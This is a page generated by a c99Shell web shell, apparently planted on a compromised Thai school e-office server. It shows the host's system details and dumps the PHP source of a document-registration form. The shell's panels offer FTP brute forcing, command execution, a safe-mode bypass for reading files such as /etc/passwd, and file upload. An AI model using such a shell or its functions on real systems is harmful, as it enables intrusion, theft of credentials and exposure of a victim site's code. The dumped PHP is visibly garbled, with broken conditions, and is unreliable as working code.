!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/admin/   drwxr-xr-x
Free 50.9 GB of 127.8 GB (39.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     addRegisDoc.php (27.57 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsReceiveSendType.php";
include_once 
"../class/clsDocType.php";
include_once 
"../class/clsDocSpeedLevel.php";
include_once 
"../class/clsDocSecreLevel.php";
include_once 
"../class/clsDocattatchesTmp.php";
include_once 
"funct.php";
include_once 
"../link/keyThai.php";
include_once 
"../class/clsSysConfig.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oPS = new person($oC);
$oDlc = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDlp2 = new docLinePosition($oC);
$oRSt = new receiveSendType($oC);
$oDt = new doctype($oC);
$oDt2 = new doctype($oC);
$oDsl = new DocSpeedLevel($oC);
$oDcl = new DocSecretLevel($oC);
$oDtmp = new DocattatchesTmp($oC);

$MaxDocGroup=$oDP->SearchMaxDocGroup();
$InputThai=$oSys->SearchByInputThai();
$oSys->SearchByKey($free);
$oSys->GetRecord();
if(
$DLCID && $one_position!="1"){ include_once "selectposition.php";
?>

<?
    $oDlc
->SearchByKey($DLCID); $oDlc->GetRecord(); 
    
$oDP->SearchByKey($oDlc->deptId); 
    
$oDP->GetRecord();    
    if(
$RsID=="3"){
             if(
$oDP->sendOut=="Y"){ 
                            
$RsID="2";  $DtID="1";
            }else{   
                            if(
$oDP->receiveIn=="Y"){  
                                    
$RsID="3";  $DtID="3";
                            }else if(
$oDP->sendIn=="Y"){  
                                    
$RsID="4";   $DtID="3";
                            }  
            }
    }else{
        if(
$RsID=="" && $oDP->deptIsCenter=="Y" && $oDP->receiveOut=="Y"){ 
            
$RsID=1;
            if(
$DtID==""){ $DtID=1; }
        }else if(
$RsID=="" && $oDP->deptIsCenter=="Y" && $oDP->sendOut=="Y"){ 
            
$RsID=2;
            if(
$DtID==""){ $DtID=1; }
        }else if(
$RsID=="" && $oDP->deptIsCenter=="N" && $oDP->sendIn=="Y" ){
            
$RsID=4;
            if(
$DtID==""){ $DtID=3; }
        }
    }
    
?>
<html>
<head>
<script language="javascript" src="../source/calendarDateInput.js"></script>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<table  width="100%"  align="center">
<tr><td >
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="regisDoc.php">ลงทะเบียนใหม่/เสนอหนังสือ</a>
      <img src="../picture/ico3.gif" width="10" border="0" align="absmiddle">ลงทะเบียนหนังสือ</font>
    </font></legend><br>
        <form name="ff"  METHOD="POST" action="processRegisterDoc.php">
      <table align="center" width="95%" >
      <tr>
      <td align="left" colspan="2"><a href="addRegisDoc.php?RsID=<? echo $RsID?>&DtID=<? echo $DtID?>"><img src="../picture/regist_tc.jpg" alt="ลงทะเบียนหนังสือ"  style="cursor:pointer;" border="0"></a></td>
      </tr>
      <tr><td colspan="2"><? include "showSelectInsertTypeDoc.php"?></td></tr>
        <? if($DtID==13){?>
              <tr>
                    <td width="60%" align="right"><img src="../picture/icoa15.jpg"  border="0" alt="ลงทะเบียนหนังสือรับรองแบบกลุ่ม">&nbsp;</td>
                    <td width="40%" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><a href="addRegisDocAll.php?RsID=<? echo $RsID?>&DtID=<? echo $DtID?>"  style="cursor:pointer;"> 
                     <strong>ลงทะเบียน >></strong> หนังสือรับรองแบบกลุ่ม</a> </font></td>
                  </tr>
              <tr><td align="right">&nbsp;</td>
                    <td align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><a href="addRegisDocAllReg.php?RsID=<? echo $RsID?>&DtID=<? echo $DtID?>"  style="cursor:pointer;"> 
                       <strong>ลงทะเบียน >></strong> หนังสือรับรองเกี่ยวกับนักศึกษาแบบกลุ่ม</a>
                      </font></td>
                  </tr>
        <? ?>
      </table>
        <table width="95%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#DADADA" style="border-collapse:collapse">
          <tr>
            <td>&nbsp;</td>
            <td>&nbsp;</td>
            <td align="right">&nbsp;</td>
          </tr>
          <tr >
            <td width="22%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>เลขทะเบียน<? echo ShowNameRSDoc2($RsID);?></strong></td>
            <td width="0%" align="center"><strong>:</strong></td>
            <? $rd=ShowRunningDoc($RsID,$DtID,$oDlc->deptId); ?>
            <td> 
              <? 
            
if($rd=="NoConfirm"){  
                    echo 
"<font color=\"#8C0000\"><strong><div align=\"center\">** ไม่สามารถลงทะเบียนได้ เนื่องจากยังไม่มีการยืนยันการใช้งานเลขทะเบียนหนังสือชนิดนี้  **<br>กรุณาติดต่อผู้รับผิดชอบระบบ</div></strong></font>";
            }else if(
$rd=="N"){  
                    echo 
"<font color=\"#8C0000\"><strong><div align=\"center\">** ไม่สามารถลงทะเบียนได้ เนื่องจากยังไม่มีการตั้งค่าเลขเริ่มต้นของทะเบียนหนังสือชนิดนี้ **<br>กรุณาติดต่อผู้รับผิดชอบระบบ</div></strong></font>"
            }else{   
            
?>
              <input name="DocTypeNo" type="text" style="" size="25" disabled value="<?php echo a2th($rd);?>"> 
              <input name="DocTypeNo" type="hidden"  value="<?php echo $rd;?>"> 
              <? 
            
//can regisDoc 
            
?>
            </td>
          </tr>
          <? if($DtID!="15"){ ?>
               <tr ><td width="21%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong><? echo ShowNameDocNo($DtID); ?></strong></td>
             <td width="0%" align="center"><strong>:</strong></td>
            <td><input name="DocNo" type="text" maxlength="50" size="25" <? if($RsID=="2" || $RsID=="3" || $RsID=="4" || $RsID=="5"){  echo "disabled";  ?> value="<? echo a2th(ShowDocNo($RsID,$DtID,$oDlc->deptId,$DocfCir,$useMainDocNo));  ?><? }else{   $insertDocNo=1; if($DocNo!=""){  echo "value=".a2th($DocNo);   }else{  echo "value=\"\""; } } ?> onKeyPress="if(event.keyCode==39){  alert('ระบบไม่สามารถบันทึกตัวอักษรนี้ได้!!'); return false;}else{     event.keyCode=KeyfontThai(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;  }">
            <? if($RsID=="2" || $RsID=="3" || $RsID=="4" || $RsID=="5"){ ?><input name="DocNo" type="hidden" value="<? echo ShowDocNo($RsID,$DtID,$oDlc->deptId,$DocfCir,$useMainDocNo);  ?>"><? ?><? if($checkDocNoex==1){  ?><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><strong><? echo "***ที่หนังสือนี้เคยถูกลงทะเบียนแล้ว"?></strong></font><input name="checkDocNoex" type="hidden"  value="<?php echo $checkDocNoex;?>"><? ?>
            <? if($RsID=="2"){ ?> <input name="useMainDocNo" type="checkbox" value="Y" onClick='return showDocNomain();' <? if($useMainDocNo=="Y"){ echo "checked";   }?>>&nbsp;ใช้ที่หนังสือ&nbsp;<? echo a2th($oSys->sysDocNo); ?><?  ?>
            </td>
           </tr>
           <? ?>
          <tr >
            <td width="22%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong><? echo ShowNameDate2($DtID); ?></strong></td>
            <td width="0%" align="center"><strong>:</strong></td>
            <td>
              <? if($DocDate!="" && $DocDate!="0000-00-00"){ ?>
              <script>DateInput('DocDate', true, 'DD/MM/YYYY','<?php echo $DocDate;?>');</script>
              <?    }else{  ?>
              <script>DateInput('DocDate', true, 'DD/MM/YYYY','<?php echo getNowDateFw2();?>');</script>
              <? ?>
            </td>
          </tr>
          <tr >
            <td width="22%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" >&nbsp;&nbsp;<strong><? echo ShowNameSubject($DtID); ?></strong></td>
            <td width="0%" align="center"><strong>:</strong></td>
            <td ><input name="DocSubject" type="text" style="" size="70" maxlength="255" onKeyPress="if(event.keyCode==39){  alert('ระบบไม่สามารถบันทึกตัวอักษรนี้ได้!!'); return false;}else{     event.keyCode=KeyfontThai(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;  }" value="<? if($DocSubject!=""){ echo  a2th($DocSubject);  }?>" ></td>
          </tr>
          <? if($DtID==|| $DtID==||  $DtID==14 || $DtID==13){?>
          <tr >
            <td width="22%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong><? echo ShowNameFrom($DtID); ?></strong></td>
            <td width="0%" align="center"><strong>:</strong></td>
            <td ><input name="DocFrom" type="text" style="" size="70" maxlength="255" <?  if($RsID=="2"  || $DtID=="13" ){  $checkNameFrom=1?>value="<? echo a2th($GLOBALS["COLLEGENAME2"]); ?>" disabled<?  }else{    if($DocFrom!=""){  ?> value="<? echo a2th($DocFrom); ?><? }  } ?> onKeyPress="if(event.keyCode==39){  alert('ระบบไม่สามารถบันทึกตัวอักษรนี้ได้!!'); return false;}else{     event.keyCode=KeyfontThai(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;  }"> 
              <?  if($RsID=="2" || $DtID=="13"){ ?>
              <input name="DocFrom" type="hidden" value="<? echo a2th($GLOBALS["COLLEGENAME2"]); ?>">
              <? ?>
            </td>
          </tr>
          <? ?>
          <? if(($DtID=="3" || $DtID=="15") && $RsID=="4"){?>
          <tr >
            <td width="22%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>จาก</strong></td>
            <td width="0%" align="center"><strong>:</strong></td>
            <td >&nbsp;<? echo $fsearchDocFrom=searchDeptDlcID($DLCID); ?>
              <input name="DocFrom" type="hidden" value="<? echo $fsearchDocFrom?>"></td>
          </tr>
          <? }  ?>
          <? if($DtID==13){?>
          <tr >
            <td width="22%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>ชื่อผู้ได้รับการรับรอง</strong></td>
            <td width="0%" align="center"><strong>:</strong></td>
            <td ><input name="CertificatePs" type="text" style="" size="70" maxlength="255" value="<? if($CertificatePs!=""){   echo a2th($CertificatePs); } ?>" onKeyPress="if(event.keyCode==39){  alert('ระบบไม่สามารถบันทึกตัวอักษรนี้ได้!!'); return false;}else{     event.keyCode=KeyfontThai(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;  }"></td>
          </tr>
          <? ?>
          <? if($DtID==|| $DtID==2  || $DtID==14 || $DtID==|| $DtID==15){?>
          <tr >
            <td width="22%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>
              <? if($DtID==|| $DtID==15){   echo "เรียน"; }else{  echo "ถึง"; } ?>
              </strong></td>
            <td width="0%" align="center"><strong>:</strong></td>
            <td >
              <? if($DocfCir=="Y"){ ?>
              <textarea name="DocTo" cols="70" rows="2" onKeyPress="if(event.keyCode==39){  alert('ระบบไม่สามารถบันทึกตัวอักษรนี้ได้!!'); return false;}else{     event.keyCode=KeyfontThai(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;  }"><?  if($DocTo!=""){   echo a2th($DocTo); }?></textarea> 
              <? }else{  ?>
              <input name="DocTo" type="text" style="" size="70" maxlength="255" <?  if($RsID=="1"){  $checkDocTo=1?>value="<? echo a2th($GLOBALS["COLLEGENAME2"]); ?>" disabled<?  }else{    if($DocTo!=""){  ?> value="<? echo a2th($DocTo); ?><? }  } ?> onKeyPress="if(event.keyCode==39){  alert('ระบบไม่สามารถบันทึกตัวอักษรนี้ได้!!'); return false;}else{     event.keyCode=KeyfontThai(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;  }"> 
              <? ?>
              <? if(($DtID==|| $DtID==2) && $RsID=="2"){?>
              &nbsp;
              <input name="DocfCir" type="checkbox" value="Y" onClick='return showDoc1();' <? if($DocfCir=="Y"){   echo "checked"; }?>>
              &nbsp;<strong>ส่งเวียน</strong>
              <? ?>
              <?  if($RsID=="1"){  $checkDocTo=1?>
              <input name="DocTo" type="hidden" value="<?php echo a2th($GLOBALS["COLLEGENAME2"]); ?>">
              <? ?>
            </td>
          </tr>
          <? }?>
          <? if(($DtID==|| $DtID==) && ($RsID=="2" || $RsID=="1")){?>
          <tr >
            <td width="22%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>อ้างถึง</strong></td>
            <td width="0%" align="center"><strong>:</strong></td>
            <td> <input name="DocRef" type="text" style="" size="70" maxlength="255"  onKeyPress="if(event.keyCode==39){  alert('ระบบไม่สามารถบันทึกตัวอักษรนี้ได้!!'); return false;}else{     event.keyCode=KeyfontThai(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;  }" value="<? if($DocNoShow!=""){ 
                    echo 
a2th($DocNoShow); 
                    echo 
" ".a2th($DocSubjectShow);
                        if(
$DocDateShow ==""){ 
                            echo 
""
                        }else{
                            echo 
" ".abbreDate(splitDateDb2($DocDateShow ,'/'));
                        }
                 }else{  
                     echo 
a2th($DocRef); 
                 }  
?>"> 
              <? if($RsID=="2"){ 
                     
$d=ShowDocNo($RsID,$DtID,$oDlc->deptId,$DocfCir,$useMainDocNo);
                     if(
$checkNameFrom==1){ $fname=$GLOBALS["COLLEGENAME2"];    }
            
?>
              <a  style="cursor:pointer;" onClick="addDocRef1('<? echo $d?>','<? echo $fname;?>','<? echo $useMainDocNo?>')"><img src="../picture/search.gif" alt="ค้นหา" style="cursor:pointer;"  border="0" ></a> 
              <? }else if($RsID=="1"){ 
                    if(
$checkDocTo==1){ $d=$GLOBALS["COLLEGENAME2"]; }
            
?>
              <a  style="cursor:pointer;" onClick="addDocRef2('<? echo $d?>','<? echo $useMainDocNo?>')"><img src="../picture/search.gif" alt="ค้นหา" style="cursor:pointer;"  border="0" ></a> 
              <? ?>
            </td>
          </tr>
          <tr >
            <td width="22%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>สิ่งที่ส่งมาด้วย</strong></td>
            <td width="0%" align="center"><strong>:</strong></td>
            <td><input name="DocOther" type="text" style="" size="70" maxlength="255" value="<? if($DocOther!=""){   echo a2th($DocOther); } ?>" onKeyPress="if(event.keyCode==39){  alert('ระบบไม่สามารถบันทึกตัวอักษรนี้ได้!!'); return false;}else{     event.keyCode=KeyfontThai(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;  }"></td>
          </tr>
          <? ?>
          <? if($DtID==&& $RsID=="4"){
                    
$oDlc2->SearchByKey($DLCID); $oDlc2->GetRecord(); 
                    
$oDlp2->SearchByKey($oDlc2->DlpID);  $oDlp2->GetRecord();
                    if(
$oDlp2->DlpPID!="0"){ 
                        
$DlcPS2=$DLCID;
                     }else{
                        
$DlcPS2=$oDlc2->SearchDlc2($oDlc2->DlcSeq,$oDlp2->DlpPID,$oDlc2->deptId);
                    }
    
?>
          <tr >
            <td width="22%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>อ้างถึงหนังสือเพื่อตอบกลับ</strong></td>
            <td width="0%" align="center"><strong>:</strong></td>
            <td><input name="DocRefAns" type="text" style="" size="70" maxlength="255"  value="<? if($DocNoShow!=""){ echo a2th($DocNoShow);  echo " ".a2th($DocSubjectShow); if($DocDateShow ==""){ echo ""; }else{ echo " ".abbreDate(splitDateDb2($DocDateShow ,'/')); } }else{  echo a2th($DocRefAns);  }  ?><? if($DocNoShow!=""){ echo "disabled"; }else if($DocRefAns!=""){  echo "disabled";   }  ?> onKeyPress="if(event.keyCode==39){  alert('ระบบไม่สามารถบันทึกตัวอักษรนี้ได้!!'); return false;}else{     event.keyCode=KeyfontThai(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;  }"> 
              <? if($DocNoShow!=""){  ?>
              <input name="DocRefAns" type="hidden" value="<? if($DocNoShow!=""){ echo a2th($DocNoShow);  echo " ".a2th($DocSubjectShow); if($DocDateShow ==""){ echo ""; }else{ echo " ".abbreDate(splitDateDb2($DocDateShow ,'/')); }}else{  echo a2th($DocRefAns);  }  ?>">
              <? }?>
              <? if($DocNoShow!=""){ ?>
              <input name="DocRefAns" type="hidden" value="<? if($DocNoShow!=""){ echo a2th($DocNoShow);  echo " ".a2th($DocSubjectShow); if($DocDateShow ==""){ echo ""; }else{ echo " ".abbreDate(splitDateDb2($DocDateShow ,'/')); }}else{  echo a2th($DocRefAns);  }  ?>">
              <? }else if($DocRefAns!=""){  ?>
              <input name="DocRefAns" type="hidden" value="<? echo $DocRefAns?>">
              <? }  ?>
              <a  style="cursor:pointer;" onClick="addDocRefAns('<? echo $DLCID?>','<? echo $DlcPS2;  ?>','<? echo $useMainDocNo?>')"><img src="../picture/search.gif" alt="ค้นหา" style="cursor:pointer;"  border="0" ></a> 
            </td>
          </tr>
          <? ?>
          <? if($DtID==|| $DtID==|| $DtID==|| $DtID==14 || $DtID==15){?>
          <tr >
            <td width="22%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>ชั้นความเร็ว</strong></td>
            <td width="0%" align="center"><strong>:</strong></td>
            <td> <select name="DslID">
                <? $oDsl->RSDocSpeedLevel();
                            while(
$oDsl->GetRecord()){?>
                <option value="<? echo $oDsl->DslID;?><? if($DslID!="" && $DslID==$oDsl->DslID){   echo "selected"; }?>><? echo $oDsl->DslName?></option>
                <? ?>
              </select></td>
          </tr>
          <tr >
            <td width="22%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>ชั้นความลับ</strong></td>
            <td width="0%" align="center"><strong>:</strong></td>
            <td> <select name="DclID" >
                <? $oDcl->RSDocSecretLevel();
                            while(
$oDcl->GetRecord()){?>
                <option value="<? echo $oDcl->DclID;?><? if($DclID!="" && $DclID==$oDcl->DclID){   echo "selected"; }?>><? echo $oDcl->DclName?></option>
                <? ?>
              </select></td>
          </tr>
          <? ?>
          <tr >
            <td width="22%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>หมายเหตุ</strong></td>
            <td width="0%" align="center"><strong>:</strong></td>
            <td><textarea name="DocShortDesc" cols="70" rows="4" onKeyPress="if(event.keyCode==39){  alert('ระบบไม่สามารถบันทึกตัวอักษรนี้ได้!!'); return false;}else{     event.keyCode=KeyfontThai(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;  }" ><? if($DocShortDesc!=""){ echo a2th($DocShortDesc);  } ?></textarea></td>
          </tr>
          <tr > 
            <td width="22%" height="24">&nbsp;&nbsp;</td>
            <td width="0%" align="center">&nbsp;</td>
            <td > 
              <? if($DtID!="15"){  $oDt2->SearchByKey($DtID); $oDt2->GetRecord();  ?>
              <input name="endDoc" type="checkbox" value="Y" <? if($RsID=='2' || $RsID=='5'){  echo " checked "; } ?><? if($endDoc=="Y"){ echo " checked "; } ?><? if($RsID=='2' && $oSys->sendAllNode!='Y'){  echo " disabled";  }?>>
              &nbsp;<strong>ยุติหนังสือ</strong> <? if($RsID=='2' && $oSys->sendAllNode!='Y'){  ?><input name="endDoc" type="hidden" value="Y">  <?  }?>
              <? ?>
              <?  if(($RsID=="1" || $RsID=="4") && ($DtID=="1" || $DtID=="2" || $DtID=="3")){ ?>
              &nbsp;
              <input name="DrsSendToPs" type="checkbox" value="Y" <? if($DrsSendToPs=="Y"){ echo "checked"; }?>>
              &nbsp;<strong>ส่งด่วน (ส่งถึงบุคคลทันที)</strong>
              <? ?>
            </td>
          </tr>
          <tr>
            <td>&nbsp;</td>
          </tr>
          <tr > 
            <td height="24" colspan="3" align="center"> <input type="submit" name="jj" value="บันทึกข้อมูลหนังสือ" onClick="return checkFormat('<? echo $insertDocNo?>');" <? if($rd=="N" || $rd=="NoConfirm"){  echo "disabled";}?> <? if($oDlc->DlcActive!='Y'){  echo "disabled";  }  ?>
              <? if($checkDocNoex==1){  ?>
              <input name="cregis" type="button" value="ยกเลิกการบันทึก" onClick="location.href='addRegisDoc.php?RsID=<? echo $RsID?>&DtID=<? echo $DtID?>&add=1'"> 
              <? ?>
              <input type="button" name="cancel" value="กลับหน้าหลัก" onClick="location.href = 'regisDoc.php'"> 
              <input name="DlcID" type="hidden" value="<?php echo $DLCID?>"> 
              <input name="DtmpID" type="hidden" value="<?php echo $DtmpID?>"> 
              <input name="personId" type="hidden" value="<?php echo $oDlc->personId?>"> 
              <input name="deptId" type="hidden" value="<?php echo $oDlc->deptId?>"> 
              <input name="DocGroup" type="hidden" value="<?php echo $MaxDocGroup?>"> 
              <input name="DocRefAnsID" type="hidden" value="<?php echo $DocRefAnsID?>"> 
              <input type="hidden" name="method"> </td>
          </tr>
          <tr> 
            <td colspan="3">&nbsp;</td>
          </tr>
          <tr>
            <td colspan="3" align="center"> <table width="98%" >
                <tr>
                  <td><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="3"><strong><img src="../picture/official_letter.gif" alt=""  border="0" > 
                    แฟ้มหนังสือ</strong></font><br>
                    <hr color="#000099"></td>
                </tr>
                <tr> 
                  <td width="79%"><table width="100%" align="left">
                      <tr>
                        <td width="70%"> 
                          <? //------------table upload file-------------------------  ?>
                          <table width="100%" border=1 cellpadding="0" cellspacing="0" bordercolor="#6CABF9" style="border-collapse:collapse">
                            <tr> 
                              <td width="246" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_20"]; ?>"> 
                                <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>"> 
                                &nbsp;<img src="../picture/attach_ico.gif" alt=""  border="0" >&nbsp;แฟ้มที่เกี่ยวข้อง&nbsp;<? echo a2th(0); ?>&nbsp;รายการ</font></td>
                            </tr>
                            <tr> 
                              <td height="68">&nbsp; <br></td>
                            </tr>
                          </table></td>
                        <td width="30%">&nbsp;</td>
                      </tr>
                      <?
                            $oSys
->RSsysConfig();
                            
$oSys->GetRecord();
                            
$oSys->filesizebyte;
                            
$sizefileM=($oSys->filesizebyte/1024/1024);
                
?>
                      <tr>
                        <td><br>
                          <table width="80%"  border=1 cellpadding="0" cellspacing="0" style="border-collapse:collapse" bordercolor="#6CABF9">
                            <tr> 
                              <td  height="75"  bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_20"]; ?>"> 
                                <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>"> 
                                &nbsp;คลิ๊กที่ปุ่ม "Browse.." เพื่อเลือกแฟ้ม จากนั้น<br>
                                &nbsp;คลิ๊กที่ปุ่ม "เพิ่มแฟ้ม" เพื่อเพิ่มแฟ้มเข้าในรายการ 
                                <input  name="fileupload" type="file" disabled size="30">
                                <input  type="submit" value="เพิ่มแฟ้ม" disabled>
                                </font> </td>
                            </tr>
                          </table>
                          <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">หมายเหตุ***&nbsp;ขนาดแฟ้มไม่เกิน 
                          <? echo $sizefileM?> MB ,ชื่อแฟ้มไม่ควรจะประกอบด้วย 
                          จุด(.) และ ,</font> </td>
                        <td>&nbsp;</td>
                      </tr>
                    </table></td>
                </tr>
              </table>
              <? //------------table upload file-------------------------  ?>
            </td>
          </tr>
        </table>
      </form>  
</fieldset>  
        <table width="95%" border="0" align="center">
        <tr> 
          <td width="76" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td width="618" align="left"><img src="../picture/allregistered_ico.gif" alt=""  border="0" > 
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกเพื่อเปิดดูแฟ้มหนังสือ</font></td>
        </tr>
            <tr> 
          <td width="76">&nbsp;</td>
          <td width="618" align="left"><img src="../picture/delete1.gif" alt=""  border="0" > 
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกเพื่อลบแฟ้มหนังสือที่ไม่ต้องการ </font></td>
        </tr>
        </table>

</td>
</tr>
</table>
</body>
</html>
<? }else{ include_once "unselectposition.php"; } ?>
<script language="javascript">
function showDoc(){
    document.ff.method.value="showDoc";
    document.ff.submit();
}
function showDoc1(){
    document.ff.method.value="selectCir";
    document.ff.submit();
}
function showDocNomain(){
    document.ff.method.value="showDocNomain";
    document.ff.submit();
}
function checkFormat(q){
        if(q==1){
            if(document.ff.DocNo.value == ""){
                alert("กรุณากรอกที่หนังสือ");
                document.ff.DocNo.focus();
                return false;
            }
        }
        var agree=confirm("คุณต้องการบันทึกข้อมูลหนังสือแน่นอนใช่หรือไม่ ?");
        if (agree){
            document.ff.method.value="registerDoc";
            return true;
        }else{
            return false ;
        }
}
function addDocRef1(d,fname,s){ 
    docDate=document.ff.DocDate.value;
    DocSubject=document.ff.DocSubject.value;
    DocTo=document.ff.DocTo.value;
    DocOther=document.ff.DocOther.value;
    DslID=document.ff.DslID.value;
    DclID=document.ff.DclID.value;
    DocShortDesc=document.ff.DocShortDesc.value;
    DocRef=document.ff.DocRef.value;
    if(document.ff.endDoc.checked==true){  endDoc="Y"; }else{ endDoc=""; }
        FileName = "addDocRefTable.php?RsID=<?  echo $RsID;?>&DtID=<?  echo $DtID?>&DocfCir=<?  echo $DocfCir;  ?>&DocNo="+d+"&DocDate="+docDate+"&DocSubject="+DocSubject+"&DocFrom="+fname+"&DocTo="+DocTo+"&DocOther="+DocOther+"&DslID="+DslID+"&DclID="+DclID+"&DocShortDesc="+DocShortDesc+"&endDoc="+endDoc+"&DocRef="+DocRef+"&useMainDocNo="+s;
            var w=350;  
            var h=300;
            strOption = "scrollbars=yes,left=400,top=100,width=" + w + ",height=" + h;
            window.open(FileName,"",strOption); 
        
}
function addDocRef2(d,s){ 
    docDate=document.ff.DocDate.value;
    DocSubject=document.ff.DocSubject.value;
    DocFrom=document.ff.DocFrom.value;
    DocOther=document.ff.DocOther.value;
    DocNo=document.ff.DocNo.value;
    DslID=document.ff.DslID.value;
    DclID=document.ff.DclID.value;
    DocShortDesc=document.ff.DocShortDesc.value;
    DocRef=document.ff.DocRef.value;
    if(document.ff.endDoc.checked==true){  endDoc="Y"; }else{ endDoc=""; }
    if(document.ff.DrsSendToPs.checked==true){  DrsSendToPs="Y"; }else{ DrsSendToPs=""; }
            FileName = "addDocRefTable.php?RsID=<?  echo $RsID;?>&DtID=<?  echo $DtID?>&DocfCir=<?  echo $DocfCir;  ?>&DocNo="+DocNo+"&DocDate="+docDate+"&DocSubject="+DocSubject+"&DocFrom="+DocFrom+"&DocTo="+d+"&DocOther="+DocOther+"&DslID="+DslID+"&DclID="+DclID+"&DocShortDesc="+DocShortDesc+"&endDoc="+endDoc+"&DocRef="+DocRef+"&DrsSendToPs="+DrsSendToPs+"&useMainDocNo="+s;
            var w=350;  
            var h=300;
            strOption = "scrollbars=yes,left=400,top=100,width=" + w + ",height=" + h;
            window.open(FileName,"",strOption); 
            
}
function addDocRefAns(p,q,s){   
    docDate=document.ff.DocDate.value;
    DocSubject=document.ff.DocSubject.value;
    DocTo=document.ff.DocTo.value;
    DocNo=document.ff.DocNo.value;
    DslID=document.ff.DslID.value;
    DclID=document.ff.DclID.value;
    DocShortDesc=document.ff.DocShortDesc.value;
    DocRefAns=document.ff.DocRefAns.value;
    if(document.ff.endDoc.checked==true){  endDoc="Y"; }else{ endDoc=""; }
            FileName = "addDocRefAnsTable.php?DLCID="+p+"&DlcPS2="+q+"&RsID=<?  echo $RsID;?>&DtID=<?  echo $DtID?>&DocNo="+DocNo+"&DocDate="+docDate+"&DocSubject="+DocSubject+"&DocTo="+DocTo+"&DslID="+DslID+"&DclID="+DclID+"&DocShortDesc="+DocShortDesc+"&endDoc="+endDoc+"&DocRefAns="+DocRefAns+"&useMainDocNo="+s;
            var w=390;  
            var h=300;
            strOption = "scrollbars=yes,left=400,top=100,width=" + w + ",height=" + h;
            window.open(FileName,"",strOption); 
            
}

</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

